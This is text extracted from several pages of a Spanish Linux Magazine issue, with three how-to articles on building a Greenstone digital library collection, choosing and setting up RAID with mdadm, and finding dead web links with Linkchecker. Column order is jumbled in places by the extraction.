Ahora podemos construir la colección

usando el Interfaz de Biblioteca de Greens-

tone (Greenstone Librarian Interface – GLI).

La GLI es una aplicación gráfica incluida en

la distribución Greenstone que nos permite

construir y adaptar nuestras colecciones de

manera sencilla mediante el uso del ratón.

GLI es una aplicación Java que necesita del

Java Runtime Environment 1.4 de Sun. Para

ejecutar GLI tenemos que escribir:

cd /home/myuser/local/gli

./gli.sh

Cuando ejecutamos GLI por primera vez

seremos consultados por la URL de nuestra

biblioteca Greenstone, que como ya hemos

comentado se encuentra localizada en [6].

GLI nos proporciona un entorno de tipo

walkthrough para la construcción de

Greenstone • PRÁCTICO

35Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Estructura de una instalación

Greenstone.

Page 36: Linux Magazine - Edición en Castellano, Nº 20

asignada a una carpeta es heredara portodos los ficheros incluidos en ésta.

Una vez copiados los documentos (odirectorios) al área de colección, podríamosnecesitar cambiar los permisos de los fiche-ros para lograr la correcta construcción deésta:

cd /home/myuser/local/gsdl/collect/U

limuxmag/import

chmod -R +w *

Ahora estamos listos para la construcción dela colección. Para este ejemplo, hemoscopiado sólo los artículos de los números de1 al 4. De esta manera lograremos disminuirel tiempo del proceso de construcción. Sideseamos trabajar con el archivo completodeberemos arrastrar todos los directorios,pero habrá que estar preparados a esperar unpoco hasta que se complete todo el procesode construcción.

Para construir la colección sólo hay que iral panel Create y pulsar sobre el botón Build

Collection. Una vez esté finalizado, nuestracolección estará disponible para su acceso.Para poder verla en nuestro navegador web,deberemos pulsar sobre el botón Preview

Collection. Como ya se ha comentado, en elcaso de que existan metadatos, éstos seránextraídos automáticamente durante el pro-ceso de construcción. En este caso hemostenido que realizar algunos arreglillos demanera manual. Desde el panel Enrich

hemos añadido el número de la publicaciónde Linux Magazine en el campo dc.Descrip-

tion a nivel de carpeta. Haciendo esto hemoslogrado que todos los artículos de una mismapublicación queden agrupados cuando seestablezca una clasificación de navegación.

Hay que destacar que no existe un campopara ‘número de publicación’ en el con-junto de metadatos establecidos por DublinCore. Es por eso por lo que hemos usado elcampo dc.Description para almacenar dichainformación. Adicionalmente, a nivel defichero, hemos añadido la entrada paratítulo en el campo dc.Title (en sustitucióndel poco útil valor encontrado automática-mente). Hemos añadido la sección de LinuxMagazine (ej: Noticias Kernel, Práctico,Desarrollo) al campo de metadatosdc.Resource Identifier. El prefijo dc viene deDublin Core, que corresponde con el están-dar de metadatos adoptado por Greenstone.

En Greenstone los documentos y lasespecificaciones de metadatos son importa-dos por módulos software denominadosplugins. Éstos permiten que la aplicaciónsoporte diferentes formatos de documentos.Podemos añadir o eliminar plugins depen-diendo de los documentos que tengamos ennuestra colección (los únicos obligatoriosson GAPlug, ArcPlug y RecPlug). Puesto queel archivo de documento de Linux Maga-zine está compuesto principalmente pordocumentos PDF y HTML, los plugins másimportantes para esta colección seríanPDFPlug y HTMLPlug.

IndexadoGreenstone permite la búsqueda de texto,por todo el cuerpo del documento de lacolección, desde una ventana de navega-ción web. Podemos buscar por cualquiercombinación de palabras o frases. Pordefecto, las colecciones Greenstone vienencon tres índices de consultas: texto, título yfuente. Podemos cambiar los índices asigna-dos a nuestra colección desde la sección

nuestras colecciones digitales. En esteprocedimiento los pasos básicos son:

• Reunión de documentación (en lospaneles Download y Gather)

• Asignación de metadatos (panel Enrich)• Diseño de las estructuras de indexación

y navegación

• Construcción de la colección

Para crear una nueva colección elegimosNew en el menú File. Introducimos el nom-bre de la colección (sugerimos “LinuxMagazine”) y una descripción antes de pul-sar OK. Cuando nos pregunte por el tipo demetadatos a usar es conveniente seleccio-nar el conjunto de metadatos de DublinCore. Podemos seleccionar documentos (odirectorios completos de documentos)desde el panel de trabajo (Workspace,situado a la izquierda) y arrastrarlos hasta elpanel de colecciones (Collection, a la dere-cha). El comportamiento de GLI es similaral de los gestores de ficheros usuales, permi-tiendo la copia y eliminación de ficheros denuestra colección (Figura 2).

Greenstone es capaz de extraer demanera automática la útil metainformaciónde los ficheros de documentos durante elproceso de construcción. Esta característicaes realmente interesante cuando el docu-mento contiene metadatos del tipo título,autor, temática o palabras clave. Puesto quelos documentos de nuestro DVD no contie-nen este tipo de metadatos, GLI no podráextraer nada demasiado útil de maneraautomática. Podemos, por otro lado, añadirla metainformación de manera manual enel panel destinado a esta tarea, Enrich. Losmetadatos pueden ser tratados a nivel decarpetas o ficheros. La metainformación

PRÁCTICO • Greenstone

36 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 2: El interfaz de bibliotecario de Greenstone (GLI). Figura 3: Las herramientas de diseño están disponibles desde el

panel de Diseño.

Page 37: Linux Magazine - Edición en Castellano, Nº 20

Índices de Búsquedas del panel de diseño(Figura 4). También es posible eliminar elíndice de fuente de nuestra colección LinuxMagazine, puesto que hace referencia sóloal nombre del fichero del documento, y eneste ejemplo no es un parámetro de bús-queda útil. Además hemos añadido elcampo de metadatos dc.Title como un ele-mento para el índice de título.

La Figura 5 muestra el interfaz de búsque-das para la búsqueda por títulos. Greenstonepermite al usuario indicar términos de con-sultas más complejos. El interfaz debúsqueda avanzada puede ser adaptadodesde la opción de Preferencias, localizadaen la esquina derecha de nuestra página de lacolección.

Clasificaciones de NavegaciónGreenstone permite a los usuarios navegarpor los documentos de la colección. Laestructura de la navegación es generada demanera automática a partir de los metadatosasociados a cada documento de la colección.

Podemos establecer los clasificadores denavegación desde la opción de mismo nom-bre situada en el panel de diseño (Figura 6).Todos los clasificadores generan una estruc-tura jerárquica que es usada para mostrar uníndice de navegación. El nivel más bajo endicha jerarquía corresponde normalmente alos documentos, pero podría estar consti-tuida por secciones para algunosclasificadores. Existen varios tipos de clasifi-cadores disponibles; para ver los detalles esmejor consultar la Guía de Desarrollo de Gre-enstone [7].

Para nuestra colección de Linux Magazine,hemos usado los clasificadores AZList yAZCompactList para establecer la estructura

de navegación. El clasificador AZList mues-tra los términos clasificados en ordenalfabético, mientras que el clasificadorAZCompactList agrupa los términos que apa-recen repetidos en la jerarquía bajo un nuevonodo, mostrado con un icono similar a unaestantería. Los parámetros de clasificación (ysus opciones asociadas) de nuestra colecciónLinux Magazine son:

• Para la navegación por título: AZList

-metadata dc.Title

• Para la navegación por número depublicación: AZCompactList -metadata

dc.Description -buttoname issue

• Para navegar por las secciones de LinuxMagazine: AZCompactList -metadata

dc.Resource Identifier -mingroup 1 -but-

tonname section

Al establecer la opción mingroup a 1 indica-mos que el nodo de estantería debe sercreado al nivel más alto, aún cuando existaun solo ítem en el grupo. Desde el interfazweb de Greenstone podemos seleccionar unade las clasificaciones de navegación (porejemplo: títulos, autor y práctico) pulsandosobre el icono correspondiente.

Podemos configurar el icono de cada clasi-ficación de navegación. Si no estamosconforme con los valores establecidos pordefecto, podremos crear nuestros propiosiconos. En nuestro ejemplo hemos creadonuevos iconos para las opciones de navega-ción de secciones y publicaciones. Es posibleasociar estos iconos con sus respectivas clasi-ficaciones añadiéndolos en la opción nombre

del botón (buttonname, Figura 6). Mostrare-mos después cómo crear estos iconos deestilo similar a los de Greenstone.

Características de Formato

Las páginas web de la biblioteca Greens-tone son generadas dinámicamente bajodemanda. Los comandos de formato seusan para poder cambiar la apariencia dedichas páginas, en especial en cómo sonmostrados los documentos en la navega-ción y en la lista de resultado debúsquedas.

Para poder manipular los comandos deformateo es necesario elegir las Caracterís-ticas de Formato (Format Features) delpanel de Diseño. Podemos hacer uso deetiquetas HTML, valores de metadatos(encerrados entre corchetes), algunoscomandos propios de formateo de cadenas(ej: highlight, numleafdocs) y expresionescondicionales (cómo {If} o {Or}). El lis-tado completo se encuentra en [7].

Podemos adaptar la estética de cada unade las clasificaciones de navegación. Porejemplo, para el clasificador de navegaciónde Título, seleccionemos CL1:AList -meta-

data dc.Title desde la sección de Selecciónde Características (Choose Feature), y VList(determina el formato de la lista vertical deresultados de la búsqueda) del compo-nente elegido. Nosotros hemos adaptado laapariencia usando para ello las siguientessentencias de formato:

<td valign=top>U

[link][icon][/link]</td>

<td>[srclink][srcicon]U

[/stclink]</td>

<td>[highlight]{Or}U

{[dc.Title],[ex.Title],U

Untitled}[/highlight]

<br>[dc.Description]</td>

Greenstone • PRÁCTICO

37Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 4: Define los ajustes del índice en la sección de Índices de

Búsquedas del panel de Diseño.

Figura 5: El interfaz para la búsqueda de títulos usando nuestra muy

útil colección de ejemplo.

Page 38: Linux Magazine - Edición en Castellano, Nº 20

<br>[dc.Description].

<td valign=top>U

[link][icon][/link]</td>

<td>{If}{[numleafdocs],U

<b>[Title]([numleafdoc])</b>,U

[srclink][srcicon][/srclink]

<td>[highlight]{Or}U

{[dc.Title],[ex.Title],U

Untitle}[/highlight]<br>U

[dc.Description]</td>}</td>

Cada una de las opciones y configuración

anteriores pueden establecerse fácilmente

desde la sección Format Features del panel

de diseño de GLI. Las opciones de formatos

pueden cambiarse sin necesidad de volver a

reconstruir la colección.

Sencilla Adaptación de laColecciónAñadir un nuevo icono a nuestra colección

es sencillo. Podemos indicar los iconos aso-

ciados a las páginas ‘acerca de…‘ y la

principal desde la sección general del panel

de diseño. Además, Greenstone propor-

ciona ciertas facilidades para la creación de

imágenes de colección e iconos de clasifica-

dores de estilo similar a los usados por este

programa. Podemos ir a la página http://

www.greensotne.org/make-images.html

para crear nuevas imágenes e iconos. Estos

gráficos deben ser alojados en la carpeta de

imágenes de la instalación de Greenstone

(consultar la Figura 2). La página web

explica cómo configurar Greenstone para

usar las nuevas imágenes creadas.

Es posible reconstruir nuestra colección

en cualquier momento. Los comandos de

formato pueden ser modificador sin necesi-

dad de reconstruir la colección. Podremos

ver cualquier cambio efectuado simple-

mente refrescando la página web o

pulsando sobre el botón de Vista Previa de

la Colección (Preview Collection) en el panel

de creación. Para más opciones de adapta-

ción y operación hay que consultar la Guía

de Usuario de Greenstone [8].

SumarioGreenstone se revela como una herramienta

extremadamente útil en aplicaciones de

ordenación, búsqueda y organización de un

número grande de documentos electróni-

cos. Una vez construida y adaptada la

biblioteca digital, ésta estará accesible desde

cualquier navegador web. �

Esta sentencia de formato nos mos-

trará un icono que enlaza a la

versión Greenstone del documento,

un icono que enlaza al documento

original, el titulo y los detalles de

publicación para cada documento en

la lista de navegación A-Z de títulos

(Figura 7).

Con el clasificador de navegación

por publicaciones (usando

CL2:AZCompactList -metadata dc.

Description en Choose Feature y VList

en el componente seleccionado),

hemos realizado el formateado con

las siguientes sentencias:

<td valign=top>U

[link][icon][/link]</td>

<td>{If}{[numleafdocs],U

<b>[Title]([numleafdoc])</b>,U

[srclink][srcicon][/srclink]

<td>[highlight]{Or}U

{[dc.Title],[ex.Title],U

Untitle}[/highlight]U

</td>}</td>

Con esto lograremos que los docu-

mentos queden agrupados bajo sus

respectivas publicaciones, y mostra-

remos el número total de

documentos para cada publicación.

De manera similar, las opciones

para el clasificador de navegación de

secciones (seleccionamos

CL3:AZCompactList -metadata

dc-Resource Identifier en Choose Fea-

ture y VList para nuestro

componente) son las que mostramos

un poco más abajo. Aquí se ha aña-

dido una opción adicional:

PRÁCTICO • Greenstone

38 Número 20 W W W . L I N U X - M A G A Z I N E . E S

[1] El Proyecto de la Librería Digital de

Nueva Zelanda: http://www.nzdl.org

[2] Poyectos de DL Consulting: http://

www.dlconsulting.co.nz/cgi-bin/index.

cgi?a=p&p=projects

[3] Ejemplos de Greenstone en Acción:

http://www.greenstone.org/cgi-bin/

library?a=p&p=examples

[4] Descarga del Software Greenstone:

http://prdownloads.sourceforge.net/

greenstone/gsdl-2.62-unix.tar.gz

[5] Apache: http://www.apache.org

[6] Apunta tu navegador a la URL: http://

localhost:9090/gsdl/cgi-bin/library

[7] Adaptando tu Librería Greenstone:

http://www.greenstone.org/cgi-bin/

library?a=p&p=faqcustomize#customi

zeformat

[8] Documentación de Greenstone:

http:///www.greenstone.org/cgi-bin/

library?a=p&p=docs

Recursos

Figura 6: Configurando las clasificaciones de navegación desde el

panel de Diseño.

Figura 7: Navegando por títulos en Greenstone.

Page 39: Linux Magazine - Edición en Castellano, Nº 20

RAID • PRÁCTICO

39Número 20W W W . L I N U X - M A G A Z I N E . E S

Opciones RAID para el Escritorio Linux

EASY RAIDEROpciones RAID para el Escritorio Linux

EASY RAIDER

fallara. El documento que publicaron se titu-

laba “A Case for Redundant Array of

Inexpensive Disks (RAID)”. Cuando algún

tiempo después el precio de los discos gran-

des dejó de ser un problema, la palabra

Inexpensive (Barato) se sustituyó por Inde-

pendent (Independiente).

En el escenario RAID más sencillo pueden

agruparse un número de discos para formar

una única unidad y presentar esa unidad a la

capa de aplicación como un único disco

lógico. Esto es lo que los empollones deno-

minan JBOD, “Just a Bundle of Disks” (Un

conjunto de discos). Pero RAID puede hacer

mucho más. Realiza las funciones de una

capa de gestión entre el sistema de ficheros y

el hardware permitiendo explotar las caracte-

rísticas físicas del array de discos. Distintas

alternativas RAID ofrecen un rango completo

de soluciones para mejorar el rendimiento o

mitigar el riesgo de un fallo en el disco.

Las distintas alternativas RAID se denomi-

nan Niveles RAID, aunque el término nivel

no implica jerarquía; al contrario, los distin-

tos niveles RAID son realmente diseños

independientes. Los siete niveles básicos se

conocen como RAID 0 a RAID 7. Véase el

cuadro titulado “Niveles RAID” para saber

más sobre estas alternativas RAID.

Los niveles RAID 0 y 1 son los más impor-

tantes para los usuarios domésticos. El nivel

0 es también conocido como “striping” y

proporciona el máximo rendimiento posible.

El nivel 1 suministra un alto nivel de redun-

dancia y se conoce como “mirroring”. Para

los usuarios que no puedan decidir si necesi-

tan más rendimiento o más redundancia hay

un nivel RAID especial conocido como RAID

1.5. Sin embargo, este nivel es una combina-

ción: hacen falta al menos cuatro discos para

poder combinar las propiedades de los nive-

les 0 y 1. RAID 1.5 combina el nivel 0 y el 1

con sólo dos discos, presentando los discos

RAID de forma separada a la capa de aplica-

ción. (Figura 1).

Rendimiento con StripingStriping (RAID 0) implica la unión conjunta

de los discos y su direccionamiento en blo-

ques. Cuando una aplicación necesita

escribir datos, la controladora RAID distri-

buye la carga sobre todos los discos.

Desde un punto de vista técnico la contro-

ladora simplemente vuelca los datos en la

caché del disco duro y a continuación va al

siguiente disco. Hasta que la controladora

dialoga de nuevo con el primer disco, éste ha

tenido tiempo suficiente para finalizar la

tarea, debiendo tener los resultados ya listos

para ser recogidos. Si se utilizan dos discos,

los tiempos de acceso deberían ser teórica-

mente el doble de rápidos.

Desde luego, RAID 0 no distribuye los

datos a nivel de caracteres; por el contrario,

utiliza bloques de datos con cierto grado de

granularidad. La probabilidad de un fallo se

incrementa en función del número de discos

que se tengan en el array. Por ello, esta téc-

nica se recomienda en sistemas donde la

velocidad es mucho más importante que la

redundancia.

La Seguridad de las ImágenesMirroring (RAID 1) es exactamente lo contra-

rio a la técnica anterior. Direcciona el disco

en series y escribe los datos en cada disco del

array; dicho de otro modo, RAID 1 realiza

una imagen de los datos en el otro disco. Sin

embargo, el almacenaje de copias idénticas

de datos en cada disco significa que la capa-

cidad total del array no va a ser mayor que la

de un disco individualmente. Si se utilizan

dos discos de 200 GBytes, la capacidad total

va a ser de 200 GBytes en vez de 400 Gbytes.

Mientras que el tiempo de escritura no es

diferente del tiempo de escritura en un único

disco, los accesos de lectura son mucho más

rápidos, ya que la controladora puede leer

desde los dos discos en paralelo.

La gran ventaja que RAID 1 ofrece es que,

si uno de los discos falla, los datos aún esta-

rán disponibles en el otro disco. Sin

embargo, esto sólo es aplicable a los defectos

físicos: los errores lógicos, como los borrados

En los últimos 15 años, la capacidad de

los discos duros ha crecido por un

factor de al menos mil. Hace 15 años

un disco duro típico tenía una capacidad de

unos 300 a 500 Mbytes y resultaban tan caros

como los discos actuales de 300 a 500

Gbytes. Como actualmente son bastante

comunes los PCs con dos o más discos

duros, los usuarios domésticos pueden fácil-

mente permitirse el lujo de la redundancia de

datos y de mayores rendimientos, que hasta

hace unos años sólo se podían permitir las

empresas en sus servidores. La tecnología

que hace todo esto posible se conoce como

RAID.

Introducción a RAIDRAID [1] fue diseñada hace unos 20 años por

los estudiantes de postgrado de Berkeley,

David Patterson, Garth Gibson y Randy Katz.

En ese tiempo, RAID era la respuesta a un

problema difícil: si se necesitaba una gran

capacidad de almacenamiento había que ele-

gir entre un disco grande, que era fiable pero

caro, o un conjunto de discos pequeños,

mucho menos fiables pero baratos.

Uno de los problemas con los discos

pequeños era que el esfuerzo de gestión que

conllevaba el reemplazo de un disco grande

por varios pequeños era demasiado grande.

RAID era un esquema para direccionar un

array de multiples discos como una única

unidad. La solución propuesta también con-

taba con el riesgo de la perdida de datos en

caso de que uno de los discos del array

Linux ofrece varias opciones para conseguir la promesa RAID de

accesos rápidos al disco duro y de seguridad de datos.

POR MARCUS NASAREK

Page 40: Linux Magazine - Edición en Castellano, Nº 20

PRÁCTICO • RAID

40 Número 20 W W W . L I N U X - M A G A Z I N E . E S

no deseados, las modificaciones o la sobrees-

critura de los archivos del sistema de ficheros

se reflejarán en el otro disco en tiempo real.

Dicho de otro modo, RAID 1 no protege de

los errores humanos o de los errores soft-

ware.

La Combinación: RAID 1.5Para obtener los beneficios de los niveles

RAID 0 y 1 al mismo tiempo, se necesita un

PC con al menos cuatro discos duros para

una solución que los combine RAID 10

(véase el cuadro “Niveles RAID”). Esto no

representa una opción para la mayoría de los

usuarios. Algunos fabricantes, siendo cons-

cientes de que la mayoría de los usuarios no

desean utilizar cuatro discos, ofrecen una

solución de compromiso que tan sólo hace

uso de dos discos.

RAID 1.5, que es como se conoce esta solu-

ción, divide cada uno de los dos discos en dos

áreas. La controladora combina una de estas

áreas de cada disco para proporcionar un

array RAID 1, mientras que combina las otras

dos para porporcionar un array RAID 0. Esta

solución se muestra en la Figura 1.

DFI y Epox fueron los primeros fabri-

cantes de placas madre que presentaron

esta variante RAID, sin embargo, los

vendedores fallaron en su propuesta;

ambas placas tan sólo implementaban

arrays RAID 1. Los beneficios sólo se

obtuvieron en mejoras en las velocida-

des de lectura. Finalmente, Intel

apareció con la controladora ICH6R I/O

para los nuevos discos Serial ATA pre-

sentando la “Intel Matrix RAID”, que

proporciona el soporte RAID 1.5 de

forma correcta.

Además de los conocidos niveles RAID 0

y 1, existen una gran variedad de dise-

ños RAID. El trabajo original de

Patterson, Gibson y Katz cubrió los nive-

les del 1 al 5. Los niveles 0 y 6 se

añadieron posteriormente, ya

que fueron soluciones propieta-

rias. Los niveles del 2 al 4, y 6 y 7

son menos populares y han lle-

gado a ser más o menos

insignificantes. Las combinacio-

nes de otros diseños han llevado

a los niveles conocidos como

Nivel 0+1, 10, 30, 15, 50, 51, 55 y

RAID-Z.

RAID 0 agrupa los discos y distri-

buye la carga sobre los discos.

Esto hace que se mejoren consi-

derablemente las velocidades de

acceso. La capacidad total del

array es igual a la suma de las

capacidades de los discos. El

riego de un fallo es bastante alto,

ya que este nivel no ofrece nin-

gún tipo de redundancia.

RAID 1 escribe datos idénticos

simultáneamente a todos los

discos del array. La capacidad

final del array es igual a la capa-

cidad de un disco simple. Las

velocidades de lectura son nor-

malmente más rápidas que con

un único disco y los accesos de

escritura son casi de la misma

velocidad.

RAID 2 era bastante común en

los antiguos mainframes, pero

actualmente apenas se utiliza. Un array

RAID 2 necesitaba al menos 10 discos.

Con un control de errores sofisticado

permitía a los usuarios detectar tanto los

errores en los discos como los errores de

escritura. Suponiendo que se tenían 10

discos, la tasa del tiempo de lectura y

escritura era de 1 a 8 comparado con un

único disco.

Añadiéndole a los discos duros opera-

ciones a nivel de bits sobre los datos y

almacenando los resultados se podían

restaurar los datos perdidos cuando un

disco fallaba mediante referenciado a los

datos existentes y a los resultados de la

suma. El resultado de la suma se deno-

mina paridad. RAID 3 almacena la

paridad de los datos para el array en un

único disco. Como el disco de la paridad

se usa mucho más que los discos

de datos, posee una tendencia

natural a fallar primero.

RAID 4 representa una pequeña

modificación sobre RAID 3:

donde RAID 3 utilizaba ristras de

bytes, RAID 4 procesa los blo-

ques completos de datos. Como

resultado, RAID 4 puede manejar

ficheros pequeños más eficiente-

mente, mientras que RAID 3 sólo

lo hacía con ficheros contiguos.

Como RAID 3, RAID 4 utiliza un

disco separado para la paridad.

RAID 5 es la versión más barata

de almacenamiento de datos

redundante. Suponiendo al

menos un array de tres discos se

obtiene el 66 por ciento del espa-

cio para almacenar los datos

frente al 50 por ciento proporcio-

nado por RAID 1. Cuanto más

discos se añadan, mejores serán

los resultados. RAID 5 distribuye

los datos y la información sobre

la paridad en todos los discos del

array, por lo que todos los discos

tienen el mismo uso. Como con-

trapartida, la reconstrucción del

RAID tras un fallo lleva más

tiempo que con RAID 1.

Dependiendo de la aplicación,

pueden combinarse los niveles básicos de

RAID más o menos de forma arbitraria.

RAID 10 implementa un array RAID 0

usando dos arrays RAID 1. RAID 1 propor-

ciona redundancia para una mayor

seguridad de los datos, mientras que RAID

0 añade rendimiento. Si se tienen al menos

seis discos, una combinación de RAID 5 y 0

(RAID 50) es incluso más eficiente.

Niveles RAID

RAID 0: Más velocidad debido alas operaciones en paralelo.

RAID 1: Redundancia a través dela duplicación de discos.

RAID 2: Seguridad en números. RAID 3: Striping con paridad.

RAID 4: Una mejor solución deRAID 3 para ficheros pequeños.

RAID 5: Redundancia yrendimiento de lectura.

RAIDs combinados

Page 41: Linux Magazine - Edición en Castellano, Nº 20

RAID • PRÁCTICO

41Número 20W W W . L I N U X - M A G A Z I N E . E S

los ordenadores

poseen potencia

suficiente para pro-

cesar la carga

adicional de gestio-

nar el array de

discos casi transpa-

rentemente, y los

beneficios del rendi-

miento de una

solución basada en

la placa madre pue-

den ser marginales,

ya que recaen en el

uso de controlado-

res software.

Para dar los pri-

meros pasos con

RAID, es perfecta-

mente viable la

instalación de una

variante basada en software. Para ello se

necesitan los privilegios de root en la

máquina en cuestión junto con al menos dos

particiones libres y la herramienta Mdadm

[2]. Hay que asegurarse de que las particio-

nes no contengan datos, ya que se borrarán

los sistemas de ficheros de estas particiones

en el transcurso de nuestro experimento.

Incluso se puede utilizar una memoria

USB para nuestros primeros ensayos RAID;

sólo habrá que particionar la memoria con

una herramienta como Gparted, Qtparted o

Cfdisk. El experimento implica los siguientes

pasos:

• Crear al menos dos particiones de igualtamaño.

• Usar mdadm para combinar las particio-nes y crear un área RAID.

• Formatear el dispositivo RAID con un sis-tema de ficheros.

• Acceder a la nueva partición RAID.• Utilizar mdadm para monitorizar el array

RAID.

El siguiente ejemplo utiliza un dispositivo

USB referenciado como /dev/sdc y dos parti-

ciones referenciadas como /dev/sdc1 y

/dev/sdc2. Para contruir un array RAID 1,

hay que introducir el siguiente comando

mdadm:

mdadm —create —verbose U

/dev/md0 —level=1

-raid-devices=U

2 /dev/sdc1 /dev/sdc2

La opción —create crea el RAID; —verbose

proporciona información más detallada

sobre el proceso; /dev/md0 es el nombre del

dispositivo RAID resultante y —level=1 esta-

blece el nivel de redundancia al nivel RAID 1.

El último parámetro pasa el número de parti-

ciones RAID y sus nombres.

Antes de poder utilizar el array RAID

recién creado hay que formatear (utilizando

ReiserFS en nuestro ejemplo) y montar el sis-

tema de ficheros resultante:

mkreiserfs /dev/md0

mkdir /media/RAID

mount /dev/md0 /media/RAID

Ahora se puede utilizar el directorio

/media/RAID como cualquier otro disco. Sin

embargo, en el fondo, los datos se escribirán

en dos particiones para proporcionar la

redundancia. El comando mdadm -detail

/dev/md0 presenta información del estado

del array RAID. La Figura 2 muestra la salida

de este comando.

ConclusionesRAID ofrece diferentes beneficios para los

usuarios domésticos. Con él se obtienen

mayor redundancia de datos y accesos más

rápidos al disco. La herramienta Mdadm

ayuda a implementar cualquiera de los nive-

les RAID presentados en este artículo. �

Software vs. Hardware

Los diversos diseños RAID se implementaron

originalmente como soluciones software.

Como el esfuerzo computacional de la solu-

ción puramente software era demasiado

pesada para las CPUs del momento, no tardó

en aparecer la primera tarjeta controladora

RAID que fue presentada para proporcionar

una solución más potente basada en hard-

ware. Esta clase de implementación se

conoce como RAID hardware.

Aparecieron CPUs más potentes, con lo

que era más fácil implementar RAID sola-

mente basado en software. El software RAID

de bajo presupuesto llegó a ser común en las

máquinas domésticas que ejecutaban Linux.

Los arrays RAID software normalmente no

son tan rápidos como los basados en hard-

ware. La carga de la CPU es normalmente

apreciable en las operaciones diarias. Los

beneficios de los accesos paralelos son difíci-

les de explotar con los controladores

software.

RAID empezó a popularizarse entre los

usuarios domésticos cuando los fabricantes

empezaron a añadir chips controladores

RAID en sus placas. Hoy en día, la mayoría

de las placas modernas, especialmente las

que poseen conectores para los discos rápi-

dos SATA, poseen alguna clase de soporte

RAID. Los chips integrados en la mayoría de

las placas madre tan sólo gestionan parte del

proceso, dejando que los drivers compartan

el trabajo. Y hacer que esto funcione no es

algo que sea siempre trivial.

Explorando RAIDLa solución RAID basada en software hace

tiempo que fue presentada en Linux. Ahora

Figura 2: Mdadm te muestra información sobre el estado de los

dispositivos RAID.

Figura 1: RAID Nivel 1.5 combina las

características de RAID 0 y RAID 1

[1] RAID en Wikipedia:http://en.wikipedia.

org/wiki/RAID

[2] Mdadm: http://cgi.cse.unsw.edu.au/

~neilb/mdadm

Recursos

Page 42: Linux Magazine - Edición en Castellano, Nº 20

Si gestiona un sitio web grande,

seguro que estará familiarizado

con el problema de los enlaces

muertos. Una página externa referen-

ciada por un enlace puede quedarse

fácilmente inoperativa y cuando un

usuario pulse el enlace, el navegador

dará un salto hacia un agujero negro.

Este problema puede ser difícil de atajar

a menos que se planee pasar todo el

tiempo libre comprobando los enlaces de

nuestro propio sitio web. Si se busca una

forma rápida de cazar estos agujeros,

entonces hay que probar Linkchecker.

La forma más fácil de instalar Link-

checker [1] es utilizar la versión sin

compilar. Para los sistemas basados en

paquetes RPM, como Suse o Fedora, se

encuentran disponibles en [2] un

paquete RPM con la versión actual 3.3 y

PRÁCTICO • Linkchecker

42 Número 20 W W W . L I N U X - M A G A Z I N E . E S

un archivo con el código fuente. Los

usuarios con sistemas basados en

Debian deberían probar en el sitio [3] o

instalar Linkchecker ejecutando apt-get

install linkchecker.

Buscando HuecosLinkchecker se ejecuta en la línea de

comandos con el patrón linkchecker

opciones objeto, donde objeto es un

fichero local o remoto accesible vía

HTTP o FTP. Una entrada como linkchec-

ker www.linux-magazine.com debería

funcionar, ya que Linkchecker añade

automáticamente el prefijo URL http:// o

ftp://. Si se utiliza un proxy para navegar

por Internet, habrá que indicárselo a

Linkchecker por medio de las variables

de entorno http_proxy, https_proxy,

ftp_proxy y gopher_proxy. La sintáxis

exacta depende del intérprete de coman-

dos que se esté utilizando. Si se tiene

Bash, entonces con export

http_proxy=”http://localhost:8080”; los

que tengan el intér-

prete de comandos

Tc con setenv

http_proxy

“http://local-

host:8080”. Para un

proxy que se esté

ejecutando en la

máquina local y

esté a la escucha en

el puerto 8080 pasa

el enlace que com-

prueba Internet..

Un fichero sen-

cillo, pero no

completamente estándar con HTML,

denominado test.html revela cómo fun-

ciona Linkchecker: con linkchecker

test.html parece en un principio que no

funciona. Linkchecker simplemente

informa que ha comprobado un enlace y

no ha encontrado ningún error (Figura

1). Sin embargo, el fichero de prueba en

realidad incluye tres enlaces, dos de los

cuales apuntan a agujeros negros.

Por el contrario, si el fichero test.html

es servido por un servidor web, Link-

checker encuentra los enlaces erróneos

(Figura 2). La documentación también

indica que la versión actual no soporta

scripts Java.

El Patrón CorrectoAdemás de la salida de texto se puede

seleccionar uno de los formatos listados

en la Tabla 1. Según que se necesite una

salida para mostrarla en la pantalla o un

fichero de salida especial, podrían esta-

blecerse —output=html o bien

—file-output=html/nombre_de_fichero

para el formato HTML. Si no se especi-

fica un nombre para el fichero de salida

Linkchecker llama al fichero

linkchecker-out y le añade el tipo de

Figura 1: Linkchecker tiene problemas con el sistema de ficheros.

Ignora dos errores y comprueba un enlace.

Captura de Enlaces Web Muertos con Linkchecker

ENLACES PERDIDOS

Linkchecker arregla los sitios webs con referencias a páginas perdidas.

POR HAGEN HÖPFNER

Hagen Höpfner

ha completado

ya su doctorado

en informática e

imparte clases

de bases de

datos y sistemas de informa-

ción en la Universidad

Internacional de Alemania

(http://www.i-u.de), en Bruchsal,

Alemania. Además de ser un

amado padre, Hagen es coautor

de un manual de referencia

sobre bases de datos para

móviles y sistemas de informa-

ción. En su tiempo libre, toca la

guitarra en un grupo de rock lla-

mado “Gute Frage” (http://

www.gutefrage.info).

EL

AU

TO

R

Page 43: Linux Magazine - Edición en Castellano, Nº 20

que Linkchecker se ejecute en segundo

plano, hay que establecer la opción -q,

que suprime la salida por la línea de

comandos. Algunos formatos de salida,

como gml, requieren además la opción

—verbose. Esta opción le indica al pro-

grama que añada información sobre los

enlaces operativos en el gráfico.

AfinandoGrandes sitios web normalmente engloban

multitud de ficheros interrelacionados.

Linkchecker inicia su búsqueda en la direc-

ción de comienzo y busca de forma

recursiva el dominio completo. Tecleando

linkchecker www.linux-magazine.es se le

indica al programa que compruebe todas

las páginas que comiencen con http://

www.linux-magazine.es.

La opción -r establece la profundidad de la

búsqueda recursiva. linkchcker -r1

www.linux-magazine.com comprueba la

página de bienvenida y todas las páginas que

sean referenciadas por ésta. Si por el contrario

se especifica -r2, el programa busca un nivel

más profundo. Las opciones

—no-follow-url=regex y —ignore-url=regex

nos permiten influenciar en la búsqueda auto-

mática. El primer caso le indica a Linkchecker

que analice las URLs que casen con la expre-

sión regular, regex, pero que no busque en las

subpáginas. También se puede especificar

—ignore-url URLs para definir las páginas

webs que Linkchecker debería ignorar.

Por razones de eficiencia, esta herramienta

investiga múltiples ficheros de forma para-

lela, normalmente hasta diez ficheros al

mismo tiempo. Se puede modificar el

número máximo de enlaces a comprobar

estableciendo la opción -tX, donde la X repre-

senta el número. El comando man

linkchecker proporciona una lista de opcio-

nes disponibles.

ConclusionesLinkchecker es una herramienta muy útil

para descubrir los enlaces muertos. La varie-

dad de formatos de salida permiten el

procesamiento estructurado de cualquier

